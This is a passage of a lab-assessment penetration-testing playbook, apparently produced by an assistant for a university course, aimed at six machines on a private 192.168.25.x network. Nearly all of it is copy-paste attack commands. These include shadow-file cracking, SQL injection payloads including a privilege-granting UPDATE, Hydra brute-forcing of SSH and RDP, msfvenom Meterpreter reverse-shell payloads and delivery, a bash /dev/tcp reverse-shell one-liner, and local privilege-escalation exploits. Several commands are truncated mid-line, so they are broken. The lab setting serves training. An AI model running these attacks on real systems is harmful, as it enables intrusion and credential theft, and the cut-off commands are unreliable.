# Step 2: FTP access (not anonymous, but credentials found elsewhere)
ftp -a 192.168.25.120
ls
get message.txt
bye
cat message.txt
# Contains: username and password clues

# Step 3: SSH with FTP-found credentials
ssh user@192.168.25.120
# Or try default/common creds

# Step 4: Check permissions
ls -lha
sudo -l
# If no easy sudo, proceed to hash cracking

# Step 5: Copy passwd and shadow
scp user@192.168.25.120:/etc/passwd .
scp user@192.168.25.120:/etc/shadow .

# Step 6: Unshadow
unshadow passwd shadow > linuxpasswords

# Step 7: Get wordlist
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz

# Step 8: John the Ripper
john linuxpasswords --wordlist=rockyou.txt --format=md5crypt

# Step 9: View results
john --show linuxpasswords
# Output: newuser:newpassword:UID:GID:...

# Step 10: SSH with cracked password
ssh newuser@192.168.25.120
cat proof.txt
```

Pattern 3: Web App SQL Injection

Machine Type: Linux + Apache + PHP
Expected nmap: 22/ssh, 80/http
Simulation Reference: Challenge 3 from simulation.txt
Lab Reference: Lab 20 (SQL Injection)

Walkthrough

```
# Step 1: Recon
nmap -sC -sV 192.168.25.130

# Step 2: Web app access
firefox http://192.168.25.130
# See DVWA or custom app with search/filter form

# Step 3: Identify SQLi vector
# Try in search box: ' OR 1=1 --
# If vulnerable, should return all records

# Step 4: Determine database
' UNION SELECT database(), user(), version() --
# Note the database name (likely "SCC442" or "dvwa")

# Step 5: List tables
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='SCC442' --

# Step 6: List columns in users table
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

# Step 7: Extract user data
' UNION SELECT username, password FROM users --

# Step 8: Hash cracking (if hashes present)
john extracted_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Step 9: Or directly escalate privilege
' ; UPDATE users SET isadmin=1 WHERE username='student' --
# Reload page as admin

# Step 10: Admin dashboard or direct flag
# Locate flag (usually /flag.php or admin page)
curl http://192.168.25.130/flag.php
curl http://192.168.25.130/admin_panel.php
```

Alternative: Use SQLMap

```
# Automated approach
sqlmap -u "http://192.168.25.130/search.php?name=test" --batch -D SCC442 -T users --dump

# Extract proof.txt if in database
sqlmap -u "http://192.168.25.130/search.php?name=test" --batch --all-databases
```

Pattern 4: OSINT + Web Recon → Credentials

Machine Type: Linux + Apache
Expected nmap: 22/ssh, 80/http
Simulation Reference: Challenge 4 from simulation.txt
Lab Reference: Lab 3 (OSINT)

Walkthrough

```
# Step 1: Recon
nmap -sC -sV 192.168.25.140

# Step 2: Web reconnaissance
firefox http://192.168.25.140
# Manually inspect page:
# - Look at HTML source (Ctrl+U)
# - Search for hidden directories

# Step 3: Nikto scan
nikto -host http://192.168.25.140

# Step 4: Directory busting
gobuster dir -u http://192.168.25.140 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt

# Step 5: Check for sensitive files
wget http://192.168.25.140/robots.txt
wget http://192.168.25.140/.git/config  # If git exposed
wget http://192.168.25.140/backup.sql
wget http://192.168.25.140/README.md

# Step 6: Analyze findings
# May find: credentials in HTML comment, SQL dump, config file
cat README.md
cat backup.sql | grep -i user

# Step 7: SSH login
ssh student@192.168.25.140
# Password: (from findings)

# Step 8: Flag
cat proof.txt
```

Pattern 5: Linux Sudo Exploit + Meterpreter PrivEsc

Machine Type: Linux
Expected nmap: 21/ftp, 22/ssh
Simulation Reference: Challenge 5 from simulation.txt
Lab Reference: Lab 12 (Privilege Escalation – Sudoedit), Lab 11 (Backdoor/Meterpreter)

Walkthrough

```
# Step 1: Recon
nmap -sC -sV 192.168.25.150

# Step 2: FTP enumeration (may have hints)
ftp -a 192.168.25.150
ls
get note.txt
bye
cat note.txt
# Hint: antonios can run sudoedit as root

# Step 3: SSH access
ssh antonios@192.168.25.150
# (password from FTP or trial)

# Step 4: Check sudo permissions
sudo -l
# Output: User antonios may run NOPASSWD: /usr/bin/sudoedit /home/antonios/.notes.txt
```

```
# OPTION A: Direct Sudoedit Exploit (Fast)
SUDO_EDITOR='cat -- /root/proof.txt' sudoedit /home/antonios/.notes.txt
# Output should show proof.txt content directly

# OPTION B: Meterpreter Reverse Shell (Robust)

# On Kali: Create payload
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x64 --platform linux --format elf -o reversetcp

# Transfer to target
scp reversetcp antonios@192.168.25.150:/home/antonios/

# On Target: Give execute permission
ssh antonios@192.168.25.150 chmod +x /home/antonios/reversetcp

# On Kali: Start meterpreter listener
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# On Target: Execute payload
ssh antonios@192.168.25.150 /home/antonios/reversetcp

# On Kali (meterpreter): Verify connection
# Should see: [*] Meterpreter session opened

# Background and suggest exploits
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Use recommended exploit
use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
set LHOST 192.168.25.100
set LPORT 4444
exploit

# Verify root
getuid
# Should show: uid=0(root) gid=0(root)

# Read flag
cat /root/proof.txt
```

Pattern 6: Windows RDP + Local Exploit Privesc

Machine Type: Windows 10/Server
Expected nmap: 22/ssh, 80/http, 3389/rdp
Simulation Reference: Challenge 6 from simulation.txt
Lab Reference: Lab 11 (Backdoor), Lab 12 (PrivEsc), Metasploit modules

Walkthrough

```
 # Step 1: Recon
nmap -sC -sV 192.168.25.160
sudo nmap -Pn -O 192.168.25.160
```

```
# Step 2: OS confirmation & version
# Note output: OS: Windows 10 or Windows Server 2022, Build 19042/20348, etc.
# Note the patch version (e.g., 22H2)

# Step 3: Download credential lists
wget http://192.168.25.160/pwned-users.txt
wget http://192.168.25.160/pwned-passwords.txt
wget http://192.168.25.160/pwned-colon.txt

# Step 4: Prepare wordlist
# pwned-colon.txt format: user:password

# Step 5: Try RDP access first (may work without guessing)
# Or use Hydra for RDP
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.160

# Step 6: RDP login
xfreerdp3 /u:Yang /p:pcrack3r /v:192.168.25.160

# Step 7: Check Windows version (in cmd or PowerShell)
ver
systeminfo | findstr /B /C:"OS Version"
# Output: Windows 10, Build 19042 (or similar)

# Step 8: On Kali – search for exploits matching version
msfconsole
search 22H2
search cve:2023-21768
# Note any applicable exploits with high success rate

# Step 9: Create Windows meterpreter payload
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --platform windows --format exe -o reversetcp.exe

# Step 10: Transfer payload to Windows (via HTTP)
# On Kali:
python3 -m http.server 8000 &

# On Windows (in browser):
http://192.168.25.100:8000/reversetcp.exe
# OR via PowerShell:
powershell -Command "Invoke-WebRequest -Uri http://192.168.25.100:8000/reversetcp.exe -OutFile C:\Users\Public\Downloads\payload.exe

# Step 11: On Kali – start meterpreter listener
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run

# Step 12: On Windows – execute payload
C:\Users\Yang\Downloads\reversetcp.exe
# OR (if in PowerShell):
& "C:\Users\Yang\Downloads\reversetcp.exe"

# Step 13: On Kali (meterpreter) – verify connection
# Should see session opened

# Step 14: Background and suggest exploits
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

```
# Step 15: Choose highest-ranked exploit
# Example: exploit/windows/local/cve_2023_21768_afd_lpe
use exploit/windows/local/cve_2023_21768_afd_lpe
set SESSION 1
set LHOST 192.168.25.100
set LPORT 5555
exploit

# Step 16: Verify SYSTEM access
getuid
# Should show: NT AUTHORITY\SYSTEM

# Step 17: Find flag
dir C:\
dir /s C:\proof.txt
type C:\Users\Public\proof.txt
type C:\Windows\proof.txt
# Or check Desktop of admin user
type C:\Users\Administrator\Desktop\proof.txt
```

SECTION 10: ON-DEMAND COMMAND GENERATION

Use this section to request custom command sequences.

When you encounter an unfamiliar scenario, provide:

1. **Target IP**
2. **nmap output** (all ports and services)
3. **OS type** (Linux/Windows)
4. **Current findings** (creds, hints, files found)
5. **What you tried and result**

Example Request Format:

```
Challenge IP: 192.168.25.125
OS: Linux
nmap output:
  21/tcp ftp (vsftpd 3.0.2)
  22/tcp ssh (OpenSSH 7.4)
  80/tcp http (Apache 2.4 – PHP)
  3306/tcp mysql (MariaDB 5.5)

Found:
  - FTP: anonymous login works, found "users.sql"
  - SQL: users.sql contains hashed passwords

Question: How do I proceed? Database access possible?
```

I will respond with:

- Exact command sequence
- Expected output details
- Next steps based on findings

SECTION 11: TROUBLESHOOTING & RECOVERY

11.1 SSH Issues

```
# Connection refused
# Solution 1: Verify target is up
ping 192.168.25.1XX

# Solution 2: Check with nmap
nmap -p 22 192.168.25.1XX
# If closed, SSH not running

# Solution 3: Verbose connection debug
ssh -vvv user@192.168.25.1XX

# Solution 4: Wrong credentials
# Hydra to re-guess or try default creds

# Connection timeout
# Solution: Increase timeout
ssh -o ConnectTimeout=30 user@192.168.25.1XX

# Key permission issues
chmod 600 keyfile.pem
ssh -i keyfile.pem user@192.168.25.1XX
```

11.2 Hydra Issues

```
# Hydra not finding password (but you're sure it's correct)

# Solution 1: Check wordlist format
cat passlist.txt | od -c | head
# Remove any hidden characters (spaces, tabs, etc.)

# Solution 2: Reduce thread count
hydra -t 1 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX

# Solution 3: Increase wait time (RDP especially slow)
hydra -W 3 -L userlist.txt -P passlist.txt -t 1 rdp://192.168.25.1XX

# Solution 4: Specific port
hydra -L userlist.txt -P passlist.txt ssh://192.168.25.1XX:2222

# Hydra crash or segfault
# Solution: Update/reinstall
sudo apt-get install --reinstall hydra
```

11.3 Meterpreter Session Issues

```
# Session not connecting back (payload executed but no callback)

# Solution 1: Verify listener is running
# In msfconsole, you should see:
# [*] Started reverse_tcp handler on 192.168.25.100:4444

# Solution 2: Check LHOST is correct (not 127.0.0.1)
# Re-generate payload with:
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format elf -o reversetcp

# Solution 3: Target firewall blocking callback
# Check firewall on target:
sudo iptables -L  # Linux
netsh advfirewall show allprofiles  # Windows

# Solution 4: Wrong port
# Use different LPORT (try 4444, 5555, 8888, etc.)

# Meterpreter session crashes after creation
# Solution 1: Migrate to stable process
ps
migrate <PID of system process>

# Solution 2: Different payload
# Try: windows/shell/reverse_tcp (simpler)
```

11.4 SQL Injection Not Working

```
# Injection attempt: ' OR 1=1 -- → No change in output

# Solution 1: Verify SQLi exists
# Try different payloads:
' or '1'='1
" or "1"="1
' or 1=1 --
' or 1=1 #
') or ('1'='1

# Solution 2: Check database type (different syntax)
# MySQL: UNION SELECT ... FROM information_schema.tables
# MSSQL: UNION SELECT ... FROM sys.tables
# SQLite: UNION SELECT ... FROM sqlite_master

# Solution 3: Use sqlmap
sqlmap -u "http://192.168.25.1XX/page.php?id=1" --batch --dbs

# Solution 4: Check if firewall/WAF blocking
# Try URL encoding or different encoding methods
# ' = %27
# space = %20 or +
# = %3D

# Solution 5: Parameter may not be vulnerable
# Try other parameters:
# ?id=1 → ?name=test → ?search=query
```

11.5 Web Shell Not Executing

```
# File uploaded but accessing shell.php shows blank or error

# Solution 1: Wrong upload directory
# Find where files go
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/common.txt

# Solution 2: File permissions
# SSH to server and check:
ssh user@192.168.25.1XX ls -la /var/www/html/uploads/shell.php
# If not readable by web server (apache, www-data), upload fails

# Solution 3: Wrong extension
# Try: .php3, .php4, .php5, .phtml, .phar, .inc

# Solution 4: Test shell access via curl
curl "http://192.168.25.1XX/uploads/shell.php?cmd=id"
# Should show: uid=33(www-data) gid=33(www-data)

# If still blank:
# Check server logs
ssh user@192.168.25.1XX tail -f /var/log/apache2/error.log
```

11.6 Decision Tree: "I'm Stuck"

```
Stuck on Challenge? Follow This:

1. Do you have ANY shell access (SSH, RDP, web shell)?
   → YES: Skip to 5
   → NO: Continue to 2

2. Did nmap show any open ports?
   → YES: Pick highest-priority port and enumerate
   → NO: Machine might be down, try ping and nmap -Pn

3. Can you enumerate the highest-priority service?
   → SSH: Try Hydra with various wordlists
   → HTTP: Try SQLi, command injection, directory enum
   → FTP: Try anonymous or creds from other services
   → RDP: Try Hydra with reduced threads

4. Exhausted enumeration without finding creds?
   → Try lower-priority ports
   → Check HTTP for OSINT / hints
   → Look for backup files (.bak, .sql)
   → Pivot to another machine; return later

5. Have shell access now – what's next?
   → Try: cat proof.txt (might be readable)
   → Check: sudo -l (PrivEsc candidate)
   → Check: Find SUID binaries, world-writable files
   → If no easy PrivEsc: Use local_exploit_suggester (meterpreter)

6. PrivEsc suggested exploits not working?
   → Verify exploit matches OS version/kernel exactly
   → Try 2nd or 3rd ranked exploit
   → Check if sudoedit or similar misconfig exists
   → Review /tmp, /var/tmp for other files

7. Still stuck?
   → Move to next machine
   → Return after capturing flags elsewhere
   → You likely missed a service or enumeration step
```

SECTION 12: QUICK REFERENCE & ALIASES

12.1 Command Aliases (Add to ~/.bashrc)

```
# Add these to ~/.bashrc for faster typing
alias nmap-scan='nmap -sC -sV'
alias nmap-os='sudo nmap -Pn -O'
alias nmap-agg='sudo nmap -A'

alias hydra-ssh='hydra -V -L userlist.txt -P passlist.txt -t 4 ssh'
alias hydra-rdp='hydra -V -f -C pwned-colon.txt -t 1 rdp'

alias msf='msfconsole'
alias john-linux='john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt'

# Quick listeners
alias listener-4444='msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.25.1
alias listener-5555='msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.25

# Reload aliases
source ~/.bashrc
```

12.2 Useful File Locations

```
Wordlists:
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz (compressed)
/usr/share/dirb/wordlists/common.txt
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

Metasploit:
/usr/share/metasploit-framework/modules/exploits/
~/.msf4/modules/  (custom modules)

Searchsploit:
/usr/share/exploitdb/

Scripts:
/usr/share/nmap/scripts/  (nmap NSE scripts)
/opt/  (custom tools)
```

12.3 One-Liner Commands (Copy-Paste Ready)

```
# Quick port scan all 6 challenges
for ip in 110 120 130 140 150 160; do echo "=== 192.168.25.$ip ==="; nmap -sC -sV 192.168.25.$ip 2>/dev/null | grep -E "^[0-9]+/"; d

# Download all web credential files
for file in users passwords colon; do wget http://192.168.25.160/pwned-${file}.txt 2>/dev/null && echo "Downloaded: pwned-${file}.tx

# Check all machines for open SSH
nmap -sn -T5 -p 22 192.168.25.0/24

# Start Python HTTP server on port 8000
python3 -m http.server 8000

# Create simple reverse shell one-liner (bash)
bash -i >& /dev/tcp/192.168.25.100/4444 0>&1

# Find world-writable files on target (if you have shell)
find / -perm -002 -type f 2>/dev/null

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Quick sqlmap for SQLi
sqlmap -u "http://TARGET/page.php?id=1" --batch --all-dbs
```

12.4 Emergency Checklist (5 minutes before assessment)

```
□ Kali fully booted and updated
□ Terminal open, ready to start sccvm
□ Firefox bookmarks: target IPs (192.168.25.1XX)
□ Wordlists available: rockyou.txt, common.txt
□ Metasploit updated: msfconsole --version
□ SSH key permissions fixed: chmod 600 ~/.ssh/id_rsa
□ Aliases loaded: grep nmap-scan ~/.bashrc
□ Notes file open (this playbook)
□ Screenshot tool ready: Print Screen key
□ Report template open (for copying proof.txt)
```

APPENDIX A: CYBER KILL CHAIN MAPPING

```
Stage 1: RECONNAISSANCE
  Lab chapters: 3 (OSINT), 4 (Scanning), 5 (Enumeration)
  Tools: nmap, nikto, dirb, gobuster
  Commands: nmap -sC -sV, nikto -host, gobuster dir

Stage 2: WEAPONIZATION
  Lab chapter: 11 (Backdoor creation)
  Tools: msfvenom, gcc, python
  Commands: msfvenom --payload linux/x64/meterpreter/reverse_tcp ...

Stage 3: DELIVERY
  Lab chapter: 11 (Backdoor distribution)
  Methods: HTTP download, SCP transfer, email, USB (not in labs)
  Commands: scp, wget, python HTTP server

Stage 4: EXPLOITATION
  Lab chapters: 6 (Web), 9 (Password Guessing), 20 (SQLi), 19 (Command Injection)
  Tools: sqlmap, Hydra, custom payloads
  Commands: hydra -L userlist.txt -P passlist.txt ssh://TARGET

Stage 5: INSTALLATION
  Lab chapter: 11 (Backdoor & meterpreter persistence)
  Methods: meterpreter shell, reverse shell, cron jobs
  Commands: ./reversetcp, migrate process

Stage 6: COMMAND & CONTROL
  Lab chapter: 11 (Meterpreter sessions)
  Tools: msfconsole, meterpreter
  Commands: sessions -l, interact -l, background

Stage 7: ACTIONS ON OBJECTIVES
  Lab chapter: 12 (Privilege Escalation)
  Goal: Read /root/proof.txt or C:\Users\Admin\proof.txt
  Commands: cat /root/proof.txt, sudo -l, local_exploit_suggester
```

APPENDIX B: LAB CHAPTER CROSS-REFERENCE

```
Your Challenge → Related Lab Chapters → Playbook Sections
================================================================
1. FTP anon+SSH         Lab 4 (Scanning), Lab 5 (Enum), Lab 9 (Hydra)
                        → Sections 2, 3, 6

2. FTP+SSH+Hash crack   Lab 10 (Password Cracking)
                        → Sections 6.3, Pattern 2

3. SQL Injection web     Lab 20 (SQLi)
                        → Sections 4, 5, Pattern 3

4. OSINT+Web Recon      Lab 3 (OSINT), Lab 6 (Web Scan)
                        → Sections 2, 4, Pattern 4

5. Sudoedit+Meterpreter Lab 11 (Backdoor), Lab 12 (PrivEsc)
                        → Sections 7, 8, Pattern 5

6. Windows RDP+LocalExp Lab 11 (Backdoor), Lab 12 (PrivEsc)
                        → Sections 7, 8, Pattern 6
```

FINAL NOTES FOR ASSESSMENT

Remember the core principle from Lab Manual Introduction:

> "This is not about technical skills alone. Focus on thinking: (1) identify what you know, (2) gather missing info, (3) identify next steps, (4) execute, (5) try different approaches if stuck."

Approach methodically. Document thoroughly. You've got this!

Playbook Version: 2.0 – Lab-Integrated Edition
Last Updated: December 10, 2025
For: SCC.442 Individual Penetration Testing Assessment
Network: 192.168.25.0/24 | **Your IP:** 192.168.25.100